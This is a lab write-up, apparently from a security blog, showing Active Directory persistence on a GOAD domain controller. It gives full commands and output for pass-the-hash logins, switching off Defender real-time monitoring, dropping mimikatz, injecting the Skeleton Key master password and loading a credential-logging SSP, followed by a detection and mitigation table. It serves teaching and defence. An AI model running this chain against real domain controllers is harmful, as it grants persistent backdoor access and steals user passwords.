--- title: "Skeleton Key: A Master Password for Every Account in the Domain" description: "After Domain Admin, the game changes from getting in to staying in. The Skeleton Key patches the Domain Controller's KDC in memory so the single password 'mimikatz' unlocks every account — demonstrated live against KINGSLANDING, alongside the memory SSP and why DSRM does not apply in this lab." date: 2026-11-06 author: Sevban Dönmez (@jankesec) canonical: https://jankesec.com/posts/skeleton-key-master-password/ --- ## Persistence is a different problem than access The first four parts of this series were about *getting* Domain Admin. This note is about what you do *after* you are standing on the Domain Controller — the phase where the objective flips from "compromise the domain" to "stay able to come back." Getting in usually leaves traces; staying in is about leaving the smallest possible trace that survives reboots, password changes, and a defender looking at logs. Three tricks live in this phase, and they all start from the same place: I am already `Administrator` on `KINGSLANDING` (`192.168.56.10`), the `sevenkingdoms.local` forest-root DC. I have its NT hash from the earlier DCSync, and it works over SMB and WinRM. ```bash $ nxc winrm 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e WINRM 192.168.56.10 5985 KINGSLANDING [+] sevenkingdoms.local\Administrator:... (Pwn3d!) ``` The first thing the DC pushes back with is its own antivirus. I need `mimikatz` on the box, and `Get-MpComputerStatus` reports Defender real-time protection is **enabled**: ```bash $ nxc winrm 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e -x "powershell -c (Get-MpComputerStatus).RealTimeProtectionEnabled" True ``` Tamper protection is off, so as a Domain Admin I can turn the scan engine off and drop the tool. This step is worth writing down because it is the first honest friction in the whole persistence story: on a *hardened* DC, the tool that does all three of these tricks is signatured to the point that it gets deleted the moment it runs. ```bash $ nxc winrm 192.168.56.10 -u Administrator -H ... -x "powershell -c Set-MpPreference -DisableRealtimeMonitoring 1" $ nxc smb 192.168.56.10 -u Administrator -H ... --put-file /usr/share/windows-resources/mimikatz/x64/mimikatz.exe "\\Windows\\Temp\\mikatz.exe" [+] Created file ... on \\C$\\Windows\Temp\mikatz.exe ``` ## Skeleton Key: one password, every account The Skeleton Key does not steal credentials and does not forge tickets. It patches the Domain Controller's **KDC inside `lsass.exe`** so that, in addition to the real password, the literal password `mimikatz` works for *any* account. The injection is a single command run as SYSTEM (which `psexec` gives me): ```bash $ impacket-psexec sevenkingdoms.local/Administrator@192.168.56.10 -hashes aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e \ "C:\Windows\Temp\mikatz.exe \"privilege::debug\" \"misc::skeleton\" exit" mimikatz(commandline) # privilege::debug Privilege '20' OK mimikatz(commandline) # misc::skeleton [KDC] data [KDC] struct [KDC] keys patch OK [RC4] init patch OK [RC4] decrypt patch OK ``` Three lines — `[KDC] keys patch OK`, `[RC4] init patch OK`, `[RC4] decrypt patch OK` — and the domain now has a master password. I verify it the way the DC itself would: request a Kerberos TGT with the bogus password for two different accounts, and the KDC hands both over: ```bash $ impacket-getTGT sevenkingdoms.local/Administrator:mimikatz -dc-ip 192.168.56.10 [*] Saving ticket in Administrator.ccache $ impacket-getTGT sevenkingdoms.local/tywin.lannister:mimikatz -dc-ip 192.168.56.10 [*] Saving ticket in tywin.lannister.ccache ``` `Administrator` and `tywin.lannister`, two unrelated accounts, both unlock with `mimikatz`. This is the whole point: the KDC now accepts the master key *alongside* the real key, so nobody has to change anything and every user still logs in normally. The subtle part is what it does **not** do. NTLM logins to the same DC still fail: ```bash $ nxc smb 192.168.56.10 -u Administrator -p mimikatz [-] sevenkingdoms.local\Administrator:mimikatz STATUS_LOGON_FAILURE ``` The Skeleton Key only patches the **Kerberos** code path in the KDC (`SamIRetrieveMultiplePrimaryCredentials` and the RC4 decrypt routine). NTLM authentication goes through `Msv1_0.dll`, a different path, so it is untouched. The practical consequence: after injecting the key, move with Kerberos (`getTGT`, `-k`) — not with NTLM. That distinction is the difference between "the technique worked" and "I spent an hour wondering why my SMB login bounced." It is also **in-memory only**. Nothing is written to disk, and the patch evaporates the moment `lsass.exe` restarts or the DC reboots. That is both its strength (no artifact on disk) and its weakness (no persistence across a reboot on its own). ## Custom SSP: logging the next plaintext password Where the Skeleton Key opens the door for you, a custom Security Support Provider captures the keys other people use. `misc::memssp` loads a memory-only SSP that records plaintext credentials to `C:\Windows\System32\mimilsa.log`: ```bash mimikatz(commandline) # misc::memssp Injected =) ``` The word *memory* matters: the SSP is registered inside `lsass.exe` and never written to disk as a DLL, so it leaves no file behind. It only logs *subsequent* password-based logons — a remote NTLM or Kerberos login carries a hash, not the plaintext, so the log stays empty until someone types a password in an interactive session (RDP, `runas`, a scheduled task with stored credentials). The detection story is correspondingly narrow: watch for a new `mimilsa.log` file, for an SSP registered without a backing DLL, or for any process injecting into `lsass`. ## DSRM: the one that does not apply here The third classic is DSRM abuse: dump the Domain Controller's *local* Administrator hash (the Directory Services Restore Mode account) and, if `DsrmAdminLogonBehavior` is set to `2`, pass-the-hash back into the DC locally. On this lab the whole path is off: ```bash $ reg query HKLM\System\CurrentControlSet\Control\Lsa /v DsrmAdminLogonBehavior ERROR: The system was unable to find the specified registry key or value. ``` The value is not even set, which is the default — the DSRM account is only usable while the DC is booted into restore mode, not during normal operation. That is the honest result, and it is the right kind of result to keep in a notebook: knowing *when a technique does not apply* is faster than trying to force it. The control that defeats it is simply leaving `DsrmAdminLogonBehavior` at `0` and rotating the DSRM password. ## Detection and the fix | Technique | What it touches | Detection | Control | | --- | --- | --- | --- | | Skeleton Key | `lsass.exe` KDC/RC4 patch (in-memory) | `mimikatz` logon succeeding for many accounts at once; Event ID `4624` with abnormal auth | LSA Protection; EDR on `lsass` writes; reboot clears it | | Custom SSP (`memssp`) | `lsass.exe` SSP registration | new `mimilsa.log`; SSP without a DLL on disk | LSA Protection; block unsigned SSPs; alert on `lsass` injection | | DSRM | local Administrator hash | `DsrmAdminLogonBehavior = 2` (registry) | keep the value at `0`; rotate DSRM password | The single control that blunts all three is **LSA Protection** on Domain Controllers: it isolates `lsass`, which is exactly the process these techniques have to patch or inject into. The second is the boring one — keep Defender on and its tamper protection enabled, which is what made the very first step of this walkthrough require an explicit, logged action. ## Summary Skeleton Key is the cleanest of the three: a single in-memory patch turns the KDC into a back door with the master password `mimikatz`, works for Kerberos (not NTLM), and leaves no file on disk. The custom SSP trades that door-opening for credential capture, and DSRM — the one everyone lists next — simply does not apply in a lab that never enabled `DsrmAdminLogonBehavior`. The unifying lesson: these are all `lsass`-based, so the whole family dies at the same control.
SKELETON KEY · IN-MEMORY KDC PATCHING ON THE DC 1 · DC SYSTEM access misc::skeleton / memssp injected into lsass.exe 2 · KDC RC4 hook real key OR "mimikatz" Kerberos path only (not NTLM) 3 · Master TGT getTGT :mimikatz valid TGT for any account
In-memory persistence inside lsass.exe: the patched KDC accepts the master password alongside each user's real key over Kerberos until the next reboot.
## Evidence and limits All commands were executed against `KINGSLANDING` (`192.168.56.10`) inside the isolated host-only GOAD lab. Reaching the `lsass.exe` injection stage required explicitly disabling Windows Defender real-time monitoring as Domain Admin (`Set-MpPreference -DisableRealtimeMonitoring 1`); on a production Domain Controller with Tamper Protection and LSA Protection (`RunAsPPL`) enabled, both `misc::skeleton` and `misc::memssp` are blocked before touching `lsass`. The lab was reverted to its clean snapshot after testing. ## References - **Sean Metcalf, ADSecurity — Skeleton Key Malware:** [adsecurity.org/?p=1255](https://adsecurity.org/?p=1255) - **Sean Metcalf, ADSecurity — Sneaky Active Directory Persistence #12: Malicious Security Support Provider (SSP):** [adsecurity.org/?p=1760](https://adsecurity.org/?p=1760) - **gentilkiwi, Mimikatz:** [github.com/gentilkiwi/mimikatz](https://github.com/gentilkiwi/mimikatz) - **MITRE ATT&CK, Account Manipulation (T1098):** [attack.mitre.org/techniques/T1098](https://attack.mitre.org/techniques/T1098/) - **MITRE ATT&CK, OS Credential Dumping (T1003):** [attack.mitre.org/techniques/T1003](https://attack.mitre.org/techniques/T1003/) - **Microsoft, Configure added LSA protection:** [learn.microsoft.com](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection)